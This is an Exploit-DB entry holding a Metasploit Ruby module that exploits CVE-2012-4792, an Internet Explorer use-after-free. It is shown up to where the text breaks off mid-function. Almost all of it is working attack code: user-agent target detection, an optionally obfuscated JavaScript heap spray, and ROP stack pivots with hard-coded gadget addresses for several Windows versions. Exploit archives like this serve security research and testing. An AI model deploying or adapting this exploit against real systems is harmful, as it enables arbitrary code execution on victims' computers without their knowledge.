Exploit-DB #23754
Description: Microsoft Internet Explorer - CDwnBindInfo Object Use-After-Free (Metasploit)
Type: remote
Platform: windows
Date: 2012-12-31
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability found in Microsoft Internet Explorer. A
				use-after-free condition occurs when a CDwnBindInfo object is freed by
				FollowHyperlink2, but a reference is kept in CDoc.  As a result, when the reference
				is used again during a page reload, an invalid memory that's controllable is used,
				and allows arbitrary code execution under the context of the user.

					Please note: This vulnerability has been exploited in the wild targeting
				mainly China/Taiwan/and US-based computers.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'eromang',
					'mahmud ab rahman',
					'sinn3r'  #Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2012-4792' ],
					[ 'US-CERT-VU', '154201' ],
					[ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],
					[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
					[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],
					[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ]
				],
			'Payload'        =>
				{
					'Space'        => 980,
					'DisableNops' => true,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 8 on Windows XP SP3',       { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
					[ 'IE 8 on Windows Vista',        { 'Rop' => :jre,    'Offset' => '0x586' } ], # 0x0c0c0b30
					[ 'IE 8 on Windows Server 2003',  { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
					[ 'IE 8 on Windows 7',            { 'Rop' => :jre,    'Offset' => '0x586' } ]  # 0x0c0c0b30
				],
			'Privileged'     => false,
			'DisclosureDate' => "Dec 27 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)

	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

		ie_name = "IE #{ie}"

		case nt
		when '5.1'
			os_name = 'Windows XP SP3'
		when '5.2'
			os_name = 'Windows Server 2003'
		when '6.0'
			os_name = 'Windows Vista'
		when '6.1'
			os_name = 'Windows 7'
		else
			# OS not supported
			return nil
		end

		targets.each do |t|
			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
				print_status("Target selected as: #{t.name}")
				return t
			end
		end

		return nil
	end

	def ie_heap_spray(my_target, p)
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

		# Land the payload at 0x0c0c0b30
		js = %Q|
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");
		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);
		heap_obj.gc();
		for (var i=1; i < 0x300; i++) {
			heap_obj.alloc(block);
		}
		var overflow = nops.substring(0, 10);
		|

		js = heaplib(js, {:noobfu => true})

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		return js
	end

	def get_payload(t, cli)
		code = payload.encoded

		# No rop. Just return the payload.
		return code if t['Rop'].nil?

=begin
Stack Pivoting to eax:
0:008> db eax
0c0c0b30  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
0c0c0b40  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
=end
		# Both ROP chains generated by mona.py - See corelan.be
		case t['Rop']
		when :msvcrt
			print_status("Using msvcrt ROP")
			if t['Name'] =~ /Windows XP/
				stack_pivot = [0x77c15ed6].pack("V") * 54 # ret
				stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret
				stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
				rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
			else
				stack_pivot = [0x77bcba5f].pack("V") * 54 # ret
				stack_pivot << [0x77bb4158].pack("V") # pop ebx, #ret
				stack_pivot << [0x77bcba5e].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
				rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'2003'})
			end
		else
			print_status("Using JRE ROP")
			stack_pivot = [0x7c348b06].pack("V") * 54 # ret
			stack_pivot << [0x7c341748].pack("V") # pop ebx, #ret
			stack_pivot << [0x7c348b05].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
			rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
		end

		return rop_payload
	en